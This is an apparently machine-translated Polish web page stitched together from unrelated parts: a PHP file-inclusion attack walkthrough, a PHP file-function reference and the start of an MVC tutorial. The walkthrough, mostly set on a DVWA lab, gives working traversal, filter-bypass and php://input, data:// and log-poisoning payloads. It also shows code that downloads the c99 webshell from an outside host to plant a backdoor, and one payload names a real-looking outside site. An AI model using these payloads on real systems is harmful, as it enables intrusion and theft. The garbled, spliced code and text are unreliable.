Fikcyjny widok pliku php. Plik – odczytuje zawartość pliku i umieszcza ją w tablicy. Praca z plikami na serwerze

Czasami wstrzyknięcie pliku nazywane jest włączeniem, czasami jest uważane za część wstrzyknięcia PHP (wstrzyknięcie kodu). To drugie nie jest do końca prawdą, ponieważ luki w zabezpieczeniach polegające na wstrzykiwaniu plików niekoniecznie są związane z wykonaniem kodu.

Luka może wystąpić podczas używania (w PHP) wyrażeń takich jak:

  • wymagają raz,
  • uwzględnij_raz,
  • włączać,
  • wymagać

Każdy z nich ma drobne niuanse, ale łączy je to, że dołączają plik do programu i uruchamiają go. Wyrażenia te mogą powodować problemy, jeśli przekazują dane wprowadzane przez użytkownika, a program nie odfiltrowuje ich dostatecznie.

Nawiasem mówiąc, tak, są to wyrażenia, a nie funkcje. Nie ma potrzeby pisać w ten sposób:

Wymagaj("jakiśplik.php");

Bardziej preferowaną opcją jest:

Wymagaj „somefile.php”;

Ale jest to odwrót, który nie ma nic wspólnego z wrażliwością.

Jeśli pliki są dołączane przy użyciu wyrażeń require_once, include_once, include, require, to można powiedzieć, że w tym samym czasie następuje również wstrzykiwanie kodu. Możliwe jest jednak dołączenie plików bez uruchamiania kodu na serwerze. Na przykład witryna internetowa zmienia swój wygląd w zależności od motywu wybranego przez użytkownika. Nazwa motywów odpowiada nazwie plików HTML, które są odczytywane na serwerze. W takiej sytuacji, jeżeli żądanie jest skonstruowane w taki sposób, aby odczytać plik, który nie jest do tego przeznaczony (np. plik PHP), to zamiast wykonania poleceń wyświetlony zostanie kod źródłowy PHP.

Użytkownik może określić plik zdalny lub lokalny jako plik dołączany. Na tej podstawie wyróżnia się dwie odpowiednie odmiany:

  • wstrzyknięcie pliku lokalnego
  • zdalne wstrzykiwanie plików

Niebezpieczeństwem zdalnego włączenia jest wykonanie dowolnego kodu na podatnym na ataki serwerze. Jest to zwykle stosowane w przypadku infekcji backdoorem.

Niebezpieczeństwo wstrzyknięcia plików lokalnych polega na tym, że użytkownik może wyświetlić zawartość plików, do których nie ma uprawnień (kody źródłowe programów, pliki systemowe z ustawieniami i hasłami). Ponadto dzięki włączeniu lokalnemu możliwe jest wykonanie kodu strony trzeciej (na przykład w celu infekcji backdoorem), jeśli wcześniej na serwer przesłano plik ze złośliwym kodem lub zastosowano metodę zatruwania logów lub inną metodę.

Lokalne włączenie plików jest nie mniej niebezpieczne niż wprowadzenie plików zdalnych.

Wykorzystanie osadzania plików lokalnych

Możesz spróbować swoich sił w rozwiązaniu tej luki w aplikacji Damn Vulnerable Web Application (DVWA). Używam Web Security Dojo, w którym jest już zainstalowane DVWA.

Zacznijmy od niskiego poziomu (niskie bezpieczeństwo DVWA).

Przejdźmy do strony dołączania plików http://localhost/dvwa/vulnerabilities/fi/?page=include.php

  • http://localhost/dvwa/vulnerabilities/fi/?page=file1.php
  • http://localhost/dvwa/vulnerabilities/fi/?page=file2.php
  • http://localhost/dvwa/vulnerabilities/fi/?page=file3.php

Jeśli wartość podobna do nazwy pliku (plik1.php, plik2.php) zostanie przekazana jako argument do zmiennej, wówczas możemy założyć, że używane jest dołączenie. Ponieważ rozszerzenie pliku to .php, plik jest najprawdopodobniej wykonywany na serwerze (tzn. możliwe jest wstrzyknięcie kodu), a nie tylko wyświetlany w celu wyświetlenia.

DVWA ma stronę http://localhost/dvwa/about.php, znajduje się ona dwa poziomy wyżej, spróbujmy spojrzeć na nią w ten sposób: http://localhost/dvwa/vulnerabilities/fi/?page=../. ./about.php

Tak, istnieje luka w zabezpieczeniach dotycząca włączenia lokalnego. Przy wejściu przejścia do wyższych katalogów (../) nie są filtrowane, lista plików do włączenia nie jest wyczerpująca (zamiast sugerowanego pliku*.php wybraliśmy about.php).

Czasami używane są dołączone pliki, ale adresy mogą wyglądać na przykład tak: http://localhost/dvwa/vulnerabilities/fi/?page=file1. W takim przypadku do skryptu można dodać rozszerzenie, a skrypt osadzi plik, którego nazwa zostanie ostatecznie uformowana w skrypcie. Zazwyczaj luka w tej postaci jest trudna/niemożliwa do wykorzystania.

Często ludzie lubią podawać coś takiego jako przykład wykorzystania dołączania plików lokalnych:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd

Jak widzimy, udało się. Ponieważ jednak przeglądarki internetowe ignorują /r/n (znaki nowego wiersza), musimy otworzyć kod źródłowy, aby wpisy były czytelne:

Niestety od dłuższego czasu w pliku /etc/passwd nie ma żadnych haseł.

Z serwera można pobrać różne pliki ustawień, certyfikaty SSL, w zasadzie dowolny plik, który jest otwarty do odczytu dla wszystkich użytkowników lub do którego serwer WWW ma wystarczające uprawnienia do odczytu:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/apache2/apache2.conf

Jeśli chodzi o hosting współdzielony, czasami można zajrzeć do folderów innych osób (ponownie, jeśli prawa użytkownika są skonfigurowane nieprawidłowo).

http://localhost/dvwa/vulnerabilities/fi/?page=../../../evil/sqlite.db

Zadanie komplikuje fakt, że musimy znać ścieżkę do pliku.

Operacja zdalnego wstrzykiwania plików

PHP jest bardzo elastycznym i przyjaznym dla programistów językiem programowania. Polecenia osadzania plików i niektóre inne doskonale rozpoznają i poprawnie przetwarzają nie tylko pliki lokalne, ale także adresy URL...

Spróbujmy napisać adres URL witryny https://site/ zamiast nazwy pliku:

http://localhost/dvwa/vulnerabilities/fi/?page=https://site/

Zobacz, jak ciekawie się to okazuje:

Stało się tak: interpreter PHP otrzymał polecenie dołączenia pliku/strony https://site/. Otworzył/pobrał odpowiedni adres i wysłał powstały kod do wykonania jako program PHP. Ponieważ PHP wykonuje tylko kod otoczony odpowiednimi znacznikami (w tym przypadku w ogóle nie było kodu) i wyświetla całą resztę w niezmienionej postaci, cała strona internetowa jest wyświetlana w niezmienionej postaci.

Oczywiście ta luka jest dla nas interesująca nie dlatego, że możemy przeglądać inne witryny za pośrednictwem jednej witryny.

  • Generowanie/znalezienie kodu źródłowego backdoora
  • Tworzymy poprawny z punktu widzenia PHP plik do wykonania na serwerze, który zapisuje kod źródłowy backdoora w pliku PHP
  • Zapisz otrzymany kod do pliku TEXT
  • Prześlij ten plik tekstowy na kontrolowany serwer
  • Zapisujemy nasze backdoory na podatnym serwerze, korzystając ze zdalnego dołączania plików
  • Podkreśliłem słowo „tekst” z tego powodu, że na kontrolowanym przez nas serwerze powinien znajdować się plik tekstowy, który nie powinien być wykonywany na naszym serwerze. Nasz serwer musi jedynie pokazać swoją zawartość.

    Do stworzenia backdoora możesz wykorzystać Weevely, PhpSploit lub skorzystać z gotowych rozwiązań. Tym razem skorzystajmy z gotowego.

    Przypiszę zmiennej $backdoor kod źródłowy backdoora, który pobiorę z Githuba. Następnie używam funkcji file_put_contents, aby zapisać powstały kod źródłowy w pliku c99unlimited.php.

    Kod, który umieściłem w pliku tekstowym

    $backdoor = file_get_contents("https://raw.githubusercontent.com/BlackArch/webshells/master/php/c99unlimited.php"); file_put_contents("c99unlimited.php", "$backdoor"); echo „gotowe!”;

    Jest on dostępny pod adresem http://miloserdov.org/sec.txt

    Teraz, korzystając ze zdalnego dołączenia, przesyłamy backdoora na podatny na ataki serwer.

    http://localhost/dvwa/vulnerabilities/fi/?page=http://miloserdov.org/sec.txt

    Zwróć uwagę na wykonany napis!, jest on wyświetlany przez skrypt, tj. wszystko chyba się udało.

    Ponieważ skrypt zawierający pliki znajduje się w katalogu http://localhost/dvwa/vulnerabilities/fi/, a nasz nowy plik z backdoorem powinien zostać zapisany pod nazwą c99unlimited.php, pełny adres backdoora na serwerem podatnym na ataki powinien być: http: //localhost/dvwa/vulnerabilities/fi/c99unlimited.php

    Sprawdzamy:

    Świetnie, teraz mamy wszystkie funkcje, których może potrzebować administrator serwera WWW... i ci, którzy mają dostęp do swojego serwera.

    Pomiń filtrowanie, dołączając pliki lokalnie

    Przejdźmy do średniego poziomu bezpieczeństwa (konfigurowalnego w DVWA Security).

    Jeśli spojrzymy na kod źródłowy (przycisk Wyświetl źródło):

    wtedy zobaczymy, że znaki ../ są teraz filtrowane. Zapobiegnie to przejściu do katalogu wyższego niż ten, w którym działa podatny na ataki skrypt.

    Te. nic nie będzie działać w ten sposób:

    http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/mysql/my.cnf

    Zastanówmy się, jak w tym przypadku działa filtrowanie? Powiedzmy, że odfiltrowane zostanie słowo „zły”, a następnie linia podobna

    dobrze, źle, dobrze

    po przefiltrowaniu będzie wyglądać tak:

    dobrze dobrze

    A jeśli wstawisz taką linię

    źle źle xo

    następnie po przefiltrowaniu („złe” zostanie usunięte) okaże się

    Źle

    W ../ wstawiamy ../ znowu na środku okazuje się ..././

    Wypróbujmy ten adres http://localhost/dvwa/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./…/./…/./etc/mysql / mój.cnf

    Zadziałało!

    Innym obejściem może być zakodowanie znaków w kodowaniu szesnastkowym, na przykład w tej linii:

    http://example.com/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd

    „../” można zastąpić „%2E%2E%2f”.

    Praktykowane jest również kodowanie podwójne szesnastkowe, w którym „../” zastępuje się „%252E%252E%252F”

    Lokalne włączenie plików podczas dodawania rozszerzenia w skrypcie

    Jeśli kod zawierający pliki wygląda następująco:

    Te. Jeśli do danych wejściowych użytkownika zostanie dodany plik .php lub inne rozszerzenie, nie pozwala to na utworzenie żądania w sposób umożliwiający przeprowadzenie ataku.

    Istnieje kilka technik mających na celu odrzucenie rozszerzenia, ale można je uznać za przestarzałe, ponieważ działają na PHP 5.3, a nawet wtedy nie na wszystkich wersjach. Administratorzy serwerów internetowych są jednak klinicznie konserwatywni i wolą nie dotykać niczego, jeśli to działa. Te. Istnieje ryzyko natknięcia się na serwer z bardzo starą wersją PHP i powinieneś być świadomy tych technik.

    Korzystanie z bajtu zerowego %00 (bajt zerowy)

    Na końcu żądania dodawany jest bajt zerowy, aby zignorować rozszerzenie:

    http://www.bihtapublicschool.co.in/index.php?token=/etc/passwd%00

    Druga metoda nazywana jest atakiem przycinającym ścieżkę. Najważniejsze jest to, że PHP obcina ścieżki dłuższe niż 4096 bajtów. W tym przypadku PHP otwiera plik poprawnie, nawet jeśli na końcu jego nazwy znajdują się ukośniki i kropki. Jeśli podasz jako parametr coś w rodzaju?param1=../../../../etc/passwd/./././././ (gdzie ./ powtarza się wiele tysięcy razy), to plik końcowy wraz z rozszerzeniem (które dodał skrypt, w wyniku czego nazwa pliku stała się zawiera/../../../../etc/passwd/./././././ .php) zostaną odrzucone. Nazwa pliku będzie zawierać/../../../../etc/passwd/./././././. A ponieważ PHP nie jest mylony z końcowymi ukośnikami i ./ na końcu pliku, po prostu je ignoruje, w sumie PHP otworzy plik wzdłuż ścieżki zawierającej/../../../../etc/ hasło

    Pomijanie filtrowania w celu zdalnego wstrzykiwania plików

    Jak już widzieliśmy w kodzie źródłowym, średni poziom bezpieczeństwa odfiltrowuje również http:// i https://.

    Teraz http://localhost/dvwa/vulnerabilities/fi/?. Zastosujemy dokładnie tę samą technikę, aby ominąć filtrowanie z włączeniem lokalnym. Wygenerowane żądanie:

    http://localhost/dvwa/vulnerabilities/fi/?page=htthttps://ps://site/

    I pamiętaj też, że nie jest filtrowane np. ftp, czyli. Ta opcja działałaby bez żadnych sztuczek:

    http://localhost/dvwa/vulnerabilities/fi/?page=ftp://site/

    Uzyskiwanie kodu źródłowego skryptów PHP przy dołączaniu plików z php://filter

    Ta sztuczka nie wymaga zdalnego dołączania plików. Zostanie użyty rodzaj meta-opakowania php://filter.

    Powiedzmy, że chcemy zobaczyć kod źródłowy pliku file1.php, wówczas w naszej sytuacji żądanie będzie miało następującą strukturę:

    http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php

    Zwróć uwagę na pozbawiony znaczenia ciąg liter i cyfr - jest to kod źródłowy pliku file1.php w kodowaniu base64. Ponieważ jest to base64, obsługiwane są również pliki binarne.

    Odszyfrujmy plik:

    Zdalne wykonanie kodu za pomocą php://input

    Nie przypomina to osadzania plików i ponownie nie wymaga przesyłania plików.

    Do pomocy posłużę się rozszerzeniem FireFox, można też skorzystać z niego lub dowolnego innego programu (np. curl), który potrafi przesyłać dane metodą POST.

    php://input ma dostęp do nieprzetworzonej treści żądania HTTP, aby zrozumieć, co robi include("php://input"), otwórz stronę

    http://localhost/dvwa/vulnerabilities/fi/?page=php://input

    A w treści żądania wyślij poprawny kod PHP (na przykład za pomocą metody POST). Umożliwi to wykonanie dowolnej funkcji dozwolonej na zdalnym serwerze!

    Zdalne wykonanie kodu za pomocą data://

    Dodatkowo PHP obsługuje schemat URL data://.Kod możesz umieścić bezpośrednio w parametrze GET! Poniższy test nie wymaga żadnych specjalnych narzędzi, a jedynie zwykłej przeglądarki do przeprowadzenia ataku.

    http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plaintext,

    Niektóre zapory sieciowe aplikacji internetowych mogą wykryć podejrzany ciąg w adresie URL i zablokować złośliwe żądanie. Istnieje jednak sposób na zaszyfrowanie ciągu przy użyciu kodowania co najmniej base64:

    http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==

    Wykonaj dowolne polecenia z /proc/self/environ

    /proc/self/environ to magazyn zmiennych procesowych. Jeśli proces Apache ma wystarczające uprawnienia dostępu, to otwierając stronę internetową zawierającą załącznik o podobnym adresie URL,

    www.website.com/view.php?page=../../../../../proc/self/environ

    wygeneruje coś takiego

    DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap , */*;q=0.1 HTTP_COOKIE=PHPSESSID=HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../. ./../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Wersja/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..% 2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=.. %2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx. 1xx,6x [e-mail chroniony] SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=

    Zwróć uwagę na HTTP_USER_AGENT. Zamiast tego możesz zastąpić poprawny kod PHP, który zostanie wykonany na zdalnym serwerze.

    Wytrawianie i wstrzykiwanie dzienników w przypadku lokalnego dołączania plików

    Niestety ta metoda nie działa już w najnowszych wersjach Apache.

    Jego istota polega na tym, że kod atakującego zostaje wstrzyknięty do logów serwera WWW. Można to zrobić zastępując User-Agent lub nawet po prostu przekazując go w parametrze GET.

    Statyczny wtrysk zdalnego pliku

    Przykład statyki obejmuje:

    Włączenia statycznego można użyć w bardzo egzotycznych sytuacjach. Aby wstrzyknąć złośliwy kod, konieczne jest przeprowadzenie ataku typu man-in-the-middle pomiędzy dwoma serwerami: jeden hostuje aplikację internetową korzystającą z dołączenia, a drugi hostuje plik użyty do dołączenia.

    PHP file_exists("test.txt")//Czy plik istnieje? filesize("test.txt");//Sprawdź rozmiar pliku //Zwracany jest znacznik czasu: fileatime("test.txt");//Data ostatniego dostępu do pliku //date("d M Y" , $czas); filemtime("test.txt");//Data modyfikacji pliku //date("d M Y", $mtime); filectime("test.txt");//Data utworzenia pliku (Windows) //date("d M Y", $ctime); Pliki: tryby pracy PHP Resource fopen (nazwa pliku string, tryb string) // Resource - zwraca wskaźnik do pliku w przypadku powodzenia lub FALSE w przypadku błędu Tryb pracy OpisR r+ w z+ A + B
    otwórz plik tylko do odczytu;
    otwórz plik do odczytu i zapisu;
    otwórz plik tylko do zapisu. Jeśli istnieje, bieżąca zawartość pliku zostanie zniszczona. Bieżąca pozycja jest ustawiana na początek;
    otwórz plik do odczytu i zapisu. Jeśli istnieje, bieżąca zawartość pliku zostanie zniszczona. Bieżąca pozycja jest ustawiana na początek;
    otwórz plik do zapisu. Bieżąca pozycja jest ustawiona na końcu pliku;
    otwórz plik do odczytu i zapisu. Bieżąca pozycja jest ustawiona na końcu pliku;
    przetworzyć plik binarny. Ta flaga jest wymagana podczas pracy z plikami binarnymi w systemie Windows.
    Otwieranie i zamykanie plików w PHP PHP $fi = fopen("test.html", "w+") lub die("Błąd"); //Przykłady $fi = fopen("http://www.you/test.html","r"); $fi = fopen("http://ftp.you/test.html", "r"); //Zamknij fclose($fi) Odczyt plików w PHP PHP //Odczyt pliku fread(int fi, int długość) $str = fread($fi, 5); // Przeczytaj pierwsze 5 znaków echo $str; // ponieważ kursor się przesunął $str = fread($fi, 12); // Przeczytaj kolejnych 12 znaków echo $str; fgets(int fi[, int długość]) // Odczytaj linię z pliku fgetss(int fi, int długość [, string dopuszczalny]) // Odczytaj linię z pliku i odrzuć znaczniki HTML // string dozwolone - znaczniki, które należy pozostawić fgetc(int fi) //Odczytuje znak z pliku

    Początkowo zapis nastąpi na początku pliku, poprzez nadpisanie istniejących danych, jeśli takie istnieją. Dlatego jeśli chcesz coś napisać na końcu pliku, musisz ustawić odpowiedni tryb odczytu, na przykład a+ .

    Manipulowanie kursorem w plikach PHP PHP int fseek(int fi, int offset [, int skąd]) //Ustawianie kursora // int fi - wskaźnik do pliku //offset - liczba znaków do przesunięcia. //gdzie: //SEEK_SET - ruch rozpoczyna się od początku pliku; //SEEK_CUR – ruch rozpoczyna się od aktualnej pozycji; //SEEK_END – ruch rozpoczyna się od końca pliku. fseek($fi, -10, SEEK_END); //Przeczytaj ostatnie 10 znaków $s = fread($fi, 10); $pos = ftel($fi); // Sprawdzenie aktualnej pozycji rewind($f) // reset kursora bool feof($f) // koniec pliku Bezpośrednia praca z plikami (danymi) w PHP PHP array file(string filename) // Pobranie zawartości pliku w postaci tablicy // Kolejna możliwość bezpośredniej pracy z danymi file_get_contents(string nazwa pliku) //Odczyt (cały plik otrzymujemy w jednej linii) //Zapis do pliku (wstępnie nadpisany) file_put_contents(string nazwa pliku , dane mieszane[,int flaga]); //FILE_APPEND // Zapisz na koniec pliku: file_put_contents("test.txt", "data", FILE_APPEND); //Jeśli napiszesz tablicę, $array = array("I", "live"); file_put_contents("test.txt",$array); //następnie otrzymujemy „Ilive” Zarządzanie plikami w php Kopia PHP (źródło ciągu znaków, miejsce docelowe ciągu znaków); // Kopiowanie pliku rename(str stara nazwa, str nowa nazwa); // Zmień nazwę pliku unlink(string filename); // Usuwanie pliku Przesyłanie plików na serwer PHP // Ustawienia PHP.ini file_uploads (on|off) // Zezwolenie lub wyłączenie przesyłania plików upload_tmp_dir // Folder tymczasowy dla przesyłanych plików. domyślnie folder tymczasowy upload_max_filesize (domyślnie = 2 Mb) // max. rozmiar przesyłanego pliku post_max_size // całkowity rozmiar przesłanego formularza (musi być większy niż upload_max_filesize) //Proste przesyłanie HTML Pracujemy z plikami na serwerze PHP //Odbiór danych $tmp = $_FILES["userfile"][" nazwa_tmp"]; $nazwa = $_FILES["plik użytkownika"]["nazwa"]; //Przenieś plik move_uploaded_file($tmp, nazwa); move_uploaded_file($tmp, "upload/".nazwa); // przekieruj plik do folderu przesyłania // względem bieżącego pliku // Zawartość tablicy $_FILES $_FILES["userfile"]["name"] // nazwa pliku, na przykład test.html $_FILES[ "userfile"]["tmp_name"] // nazwa pliku tymczasowego (ścieżka) $_FILES["userfile"]["size"] // rozmiar pliku $_FILES["userfile"]["type"] // typ pliku $ _FILES["userfile"] ["error"] // 0 - brak błędów, liczba - tak Wiele osób zaczyna pisać projekt do pracy z jednym zadaniem, nie sugerując, że może on rozwinąć się np. w system zarządzania wieloma użytkownikami , treść lub, nie daj Boże, produkcja. I wszystko wydaje się świetne i fajne, wszystko działa, dopóki nie zaczniesz rozumieć, że napisany kod składa się wyłącznie z kul i twardego kodu. Kod jest pomieszany z układem, zapytaniami i kulami, czasem wręcz nieczytelny. Powstaje palący problem: dodając nowe funkcje, trzeba bardzo długo majstrować przy tym kodzie, pamiętając „co tam napisano?” i przeklnij siebie w przeszłości.

    Być może słyszałeś nawet o wzorcach projektowych, a nawet przeglądałeś te wspaniałe książki:

    • E. Gamma, R. Helm, R. Johnson, J. Vlissides „Techniki projektowania obiektowego. Wzorce projektowe";
    • M. Fowler „Architektura aplikacji dla przedsiębiorstw”.
    Wielu, nie zrażonych ogromnymi podręcznikami i dokumentacją, próbowało przestudiować którykolwiek ze współczesnych frameworków i w obliczu złożoności zrozumienia (ze względu na obecność wielu koncepcji architektonicznych sprytnie ze sobą powiązanych) odłożyło studiowanie i wykorzystanie nowoczesne narzędzia „na drugim planie”.

    Artykuł ten przyda się przede wszystkim początkującym. W każdym razie mam nadzieję, że za kilka godzin będziesz mógł zorientować się w implementacji wzorca MVC, który leży u podstaw wszystkich nowoczesnych frameworków internetowych, a także zdobędziesz „pożywienie” do dalszej refleksji na temat „jak to zrobić Zrób to." Na końcu artykułu znajduje się wybór przydatnych linków, które pomogą Ci również zrozumieć, z czego składają się frameworki internetowe (oprócz MVC) i jak działają.

    Doświadczeni programiści PHP raczej nie znajdą w tym artykule nic nowego dla siebie, ale ich komentarze i komentarze do tekstu głównego będą bardzo pomocne! Ponieważ Bez teorii praktyka jest niemożliwa, a bez praktyki teoria jest bezużyteczna, potem najpierw będzie trochę teorii, a potem przejdziemy do praktyki. Jeśli znasz już koncepcję MVC, możesz pominąć część teoretyczną i przejść od razu do praktyki.

    1. Teoria Wzorzec MVC opisuje prosty sposób konstruowania aplikacji, którego celem jest oddzielenie logiki biznesowej od interfejsu użytkownika. Dzięki temu aplikację łatwiej jest skalować, testować, utrzymywać i oczywiście wdrażać.

    Przyjrzyjmy się diagramowi koncepcyjnemu wzorca MVC (moim zdaniem jest to najbardziej udany diagram, jaki widziałem):

    W architekturze MVC model zapewnia reguły dotyczące danych i logiki biznesowej, widok odpowiada za interfejs użytkownika, a kontroler zapewnia interakcję pomiędzy modelem a widokiem.

    Typowy przepływ aplikacji MVC można opisać w następujący sposób:

  • Gdy użytkownik odwiedza zasób sieciowy, skrypt inicjujący tworzy instancję aplikacji i uruchamia ją do wykonania.
    Wyświetla widok, powiedzmy, strony głównej witryny.
  • Aplikacja odbiera żądanie od użytkownika i określa żądany kontroler oraz akcję. W przypadku strony głównej wykonywana jest akcja domyślna ( indeks).
  • Aplikacja tworzy instancję kontrolera i uruchamia metodę akcji,
    który zawiera na przykład wywołania modelu odczytujące informacje z bazy danych.
  • Następnie akcja tworzy widok z danymi uzyskanymi z modelu i wyświetla wynik użytkownikowi.
  • Model - zawiera logikę biznesową aplikacji i zawiera metody pobierania (mogą to być metody ORM), przetwarzania (na przykład reguły walidacji) i dostarczania określonych danych, przez co często jest bardzo gruby, co jest całkiem normalne.
    Model nie powinien bezpośrednio wchodzić w interakcję z użytkownikiem. Wszystkie zmienne związane z żądaniem użytkownika muszą zostać przetworzone w kontrolerze.
    Model nie powinien generować kodu HTML ani innego kodu wyświetlacza, który może zmieniać się w zależności od potrzeb użytkownika. Taki kod powinien być przetwarzany w widokach.
    Ten sam model, np. model uwierzytelniania użytkownika, można zastosować zarówno w części użytkownika, jak i części administracyjnej aplikacji. W takim przypadku możesz przenieść kod ogólny do osobnej klasy i dziedziczyć z niej, definiując w jego potomkach metody specyficzne dla podaplikacji.

    Widok - służy do określenia zewnętrznego wyświetlania danych otrzymanych ze sterownika i modelu.
    Widoki zawierają znaczniki HTML i małe wstawki kodu PHP do przeglądania, formatowania i wyświetlania danych.
    Nie powinien mieć bezpośredniego dostępu do bazy danych. To właśnie powinny robić modelki.
    Nie powinno działać z danymi uzyskanymi na żądanie użytkownika. Zadanie to musi wykonać kontroler.
    Może bezpośrednio uzyskać dostęp do właściwości i metod kontrolera lub modeli w celu uzyskania danych wyjściowych.
    Widoki są zwykle podzielone na wspólny szablon, zawierający znaczniki wspólne dla wszystkich stron (na przykład nagłówek i stopkę) oraz części szablonu, które służą do wyświetlania danych wyjściowych z modelu lub wyświetlania formularzy wprowadzania danych.

    Kontroler to spoiwo łączące modele, widoki i inne komponenty w działającą aplikację. Administrator odpowiada za przetwarzanie żądań użytkowników. Kontroler nie powinien zawierać zapytań SQL. Lepiej trzymać je w modelach. Kontroler nie powinien zawierać kodu HTML ani innych znaczników. Warto mieć to na uwadze.
    W dobrze zaprojektowanej aplikacji MVC kontrolery są zwykle bardzo cienkie i zawierają tylko kilkadziesiąt linii kodu. Tego samego nie można powiedzieć o Stupid Fat Controllers (SFC) w CMS Joomla. Logika kontrolera jest dość typowa i w większości przeniesiona do klas bazowych.
    Modele natomiast są bardzo grube i zawierają większość kodu związanego z przetwarzaniem danych, ponieważ struktura danych i zawarta w nich logika biznesowa są zwykle dość specyficzne dla konkretnej aplikacji.

    1.1. Kontroler frontu i kontroler strony W większości przypadków interakcja użytkownika z aplikacją internetową odbywa się poprzez klikanie łączy. Spójrz teraz na pasek adresu swojej przeglądarki - otrzymałeś ten tekst z tego linku. Inne linki, takie jak te po prawej stronie tej strony, dadzą Ci inną treść. Zatem łącze reprezentuje konkretne polecenie do aplikacji internetowej.

    Mam nadzieję, że już zauważyłeś, że różne witryny mogą mieć zupełnie różne formaty konstruowania paska adresu. Każdy format może wyświetlać architekturę aplikacji internetowej. Chociaż nie zawsze tak jest, w większości przypadków jest to oczywisty fakt.

    Rozważmy dwie opcje paska adresu, które wyświetlają tekst i profil użytkownika.

    Pierwsza opcja:

  • www.example.com/article.php?id=3
  • www.example.com/user.php?id=4
  • Tutaj każdy skrypt jest odpowiedzialny za wykonanie określonego polecenia.

    Druga opcja:

  • www.example.com/index.php?article=3
  • www.example.com/index.php?user=4
  • I tutaj wszystkie wywołania występują w jednym skrypcie Index.php.

    Podejście wielopunktowe można zobaczyć na forach phpBB. Forum przegląda się za pomocą skryptu viewforum.php, tematy przegląda się za pomocą viewtopic.php itp. Drugie podejście, dostępne poprzez pojedynczy fizyczny plik skryptu, można zobaczyć w moim ulubionym CMS MODX, gdzie wszystkie wywołania przechodzą przez plik Index.php.

    Te dwa podejścia są zupełnie różne. Pierwsze jest typowe dla wzorca Kontroler Strony, natomiast drugie podejście jest implementowane przez wzorzec Kontroler Frontu. Kontroler strony jest dobry dla witryn o dość prostej logice. Z kolei kontroler żądań konsoliduje wszystkie czynności związane z przetwarzaniem żądań w jednym miejscu, co daje mu dodatkowe możliwości, które pozwalają na realizację bardziej skomplikowanych zadań, niż zwykle rozwiązuje je kontroler strony. Nie będę wdawał się w szczegóły implementacji kontrolera strony, powiem tylko, że w części praktycznej będzie rozwijany kontroler żądań (coś podobnego).

    1.2. Routing adresów URL Routing adresów URL umożliwia skonfigurowanie aplikacji tak, aby akceptowała żądania z adresów URL, które nie odpowiadają rzeczywistym plikom aplikacji, oraz korzystała z systemów CNC, które mają znaczenie semantyczne dla użytkowników i są preferowane do optymalizacji wyszukiwarek.

    Na przykład w przypadku zwykłej strony zawierającej formularz kontaktowy adres URL może wyglądać następująco:
    http://www.example.com/contacts.php?action=feedback

    Przybliżony kod przetwarzania w tym przypadku:
    switch ($_GET ["akcja" ]) ( case "about": require_once ("about.php" ); // Podział strony "O nas" ; case "contacts": require_once ("contacts.php" ); // strona „Kontakty” przerwa ; przypadek „opinia”: require_once („feedback.php” ); // strona „Feedback” przerwa; domyślnie: require_once („page404.php” ); // strona „404” przerwa ; )
    Myślę, że prawie każdy już to kiedyś robił.

    Korzystając z mechanizmu routingu adresów URL, możesz skonfigurować aplikację tak, aby akceptowała takie żądania, aby wyświetlić te same informacje:
    http://www.example.com/contacts/feedback

    Tutaj kontakty reprezentują kontroler, a informacja zwrotna to metoda kontrolera kontaktów, która wyświetla formularz opinii itp. Do tego zagadnienia powrócimy w części praktycznej.

    Warto również wiedzieć, że routery wielu frameworków internetowych umożliwiają tworzenie niestandardowych tras URL (określ, co oznacza każda część adresu URL) i reguł ich przetwarzania.
    Teraz mamy wystarczającą wiedzę teoretyczną, aby przejść do praktyki.

    2. Ćwicz Najpierw utwórzmy następującą strukturę plików i folderów:


    Patrząc w przyszłość, powiem, że podstawowe klasy Model, View i Controller będą przechowywane w folderze core.
    Ich dzieci będą przechowywane w katalogach kontrolerów, modeli i widoków. Plik Index.php jest punktem wejścia do aplikacji. Plik bootstrap.php inicjuje ładowanie aplikacji, podłączanie wszystkich niezbędnych modułów itp.

    Pójdziemy sekwencyjnie; Otwórzmy plik Index.php i wypełnijmy go następującym kodem:
    ini_set("błędy_wyświetlania" , 1 ); require_once "aplikacja/bootstrap.php" ;
    Tutaj nie powinno być żadnych pytań.

    Następnie przejdźmy od razu do pliku bootstrap.php:
    require_once "core/model.php" ; require_once "core/view.php" ; require_once "core/controller.php" ; require_once "core/route.php" ; Trasa::start(); //uruchom router
    Pierwsze trzy linie będą zawierać aktualnie nieistniejące pliki jądra. Ostatnie linie zawierają plik z klasą routera i uruchamiają go do wykonania wywołując metodę static start.

    2.1. Implementowanie routera URL Na razie odejdźmy od implementacji wzorca MVC i skupmy się na routingu. Pierwszym krokiem, który musimy zrobić, to napisać następujący kod w .htaccess:
    RewriteEngine On RewriteCond %(REQUEST_FILENAME) !-f RewriteCond %(REQUEST_FILENAME) !-d RewriteRule .* indeks.php [L]
    Ten kod przekieruje całe przetwarzanie strony do pliku Index.php, czyli tego, czego potrzebujemy. Pamiętacie, jak w pierwszej części rozmawialiśmy o Front Controllerze?!

